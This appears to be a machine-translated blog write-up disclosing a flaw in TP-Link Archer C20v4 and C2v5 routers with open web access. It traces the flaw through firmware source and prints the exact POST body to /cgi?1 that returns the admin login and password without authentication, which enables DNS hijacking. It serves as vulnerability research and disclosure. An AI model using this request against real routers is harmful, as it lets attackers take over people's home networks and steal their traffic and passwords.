In the wake of tp-link hacking

Hacking with the substitution of dns is a fairly common method of attack. First of all because of its simplicity. The essence of the attack is in changing the dns address in the settings of the victim's network equipment to the address of the attacker's dns server in order to return false ip. And then, who is in that much - from the banal phishing pages of social networks to steal passwords to a supposedly provider provider stub with the requirements of payment.

The most interesting thing in all of this is, I think, the ways in which bots, in one way or another, end up on routers. And today I will talk about one of these methods.

What we have:

  1. The new Archer c20v4 router, just out of the box, with the latest official firmware.
  2. External ip address on the wan interface and open web access.
  3. A rather complicated password to not worry about its selection and a limited circle of people who know it.
  4. After a day: the substitution of dns and all requests are wrapped around the stub.

What you need:
Find out how to access the device.

First of all, all known old bugs that were found in Google were tested on the test patient. Of course, nothing worked.

A script was found on a githaba ( tyk ) that allows you to remotely, from the root, execute commands on models C20i and C2. A bit is not what we need, but set the right direction.

All functions had the same “shells” for requests - these are POST requests for url / cgi? 2 (and 7), " [setup_name # 0,0,0,0,0,0,0,0,0,0,0,0 , 0] "and a special referer .

We download the source codes of our firmware from the official site tp-link and unpack it. Because one ruler of routers, and the software should be at least a bit similar, right?

grep
grep -Hrn "/cgi?2"
----------------------------------------------
../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);


Bingo. The file name as if hints that further will be very interesting. We find a line in the code in which we saw the cherished "cgi? 2". The following is the entire function:

doSetUsrName
functiondoSetUsrName() {
        var xmlHttpObj;
        var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n";
        xmlHttpObj = getHttpObject(function() {
            if (xmlHttpObj.status == 200) {
                getUsrName();
            } elsereturn;
        });
        xmlHttpObj.open("POST", "/cgi?2", true);
        xmlHttpObj.send(args);
    }


This function, when executed, calls another - getUsrName ().

Login function:

getUsrName
functiongetUsrName() {
        var xmlHttpObj;
        var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n";
        xmlHttpObj = getHttpObject(function() {
            if (xmlHttpObj.status == 200) {
                currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", "");
                doSetPassword();
            } elsereturn;
        });
        xmlHttpObj.open("POST", "/cgi?1", true);
        xmlHttpObj.send(args);
    }


But just to do nothing with the login. We are interested in the password. We know that the login is stored in the variable adminName, inside the USER_CFG object. Searching the source gave the following results: (I will leave only the desired result)

Grep output
grep -Hrn USER_CFG
------------------------
sysfiles/config/en/common/reduced_data_model.xml


Open reduced_data_model.xml and find the following code fragment in it:

XML
<X_TP_UserCfgt=or=Ps=USER_CFG_OBJh=1 ><RootNamet=sr=Rl=16al=clih=1 /><RootPwdt=sr=Rl=16al=clih=1 /><AdminNamet=sr=Wl=16al=clid=adminh=1 /><AdminPwdt=sr=Wl=16al=clid=adminh=1 /><UserNamet=sr=Wl=16al=clih=1 /><UserPwdt=sr=Wl=16al=clih=1 /></X_TP_UserCfg>


Here we have the variable “AdminName” known to us and next to it is AdminPwd. It looks like the truth.

Now it remains for us to form a valid POST request, to which the router will answer us with the necessary data. Let us turn again to the script from the githaba and see how it is done there:

data
data = (
            "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n""dataBlockSize=64\r\n""timeout=1\r\n""numberOfRepetitions=1\r\n""host=127.0.0.1\r\n""X_TP_ConnName=ewan_ipoe_s\r\n""diagnosticsState=Requested\r\n"
        )


By analogy, we form your request:

data
"[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n""adminName\r\n""adminPwd\r\n"


Iiiii ship. In Wireshark'e package looks like this:

request


See the answer:

answer


The attentive reader will notice that the POST request was sent to "/ cgi? 1", and not as in the script to "/ cgi? 2". That's right. We just need to know the password. After receiving the data for authorization, you can already deal with the uniform disgrace.

Log in:

GET request


And already authorized we rip off any data that we only consider important by looking at the reduced_data_model.xml file:

request


answer


request


answer


At the moment, the source codes of the C20v4 router have been removed from the Tp-Link site and the V5 codes are posted instead. But unfortunately, there is no official firmware yet.

Good news: This vulnerability is exploited only if web access is open to all.
The bad news: someone's bots are already knocking on external addresses with the correct requests.

In addition to the ArcherC20V4 model , this vulnerability also affects the ArcherC2V5 model .

Also popular now: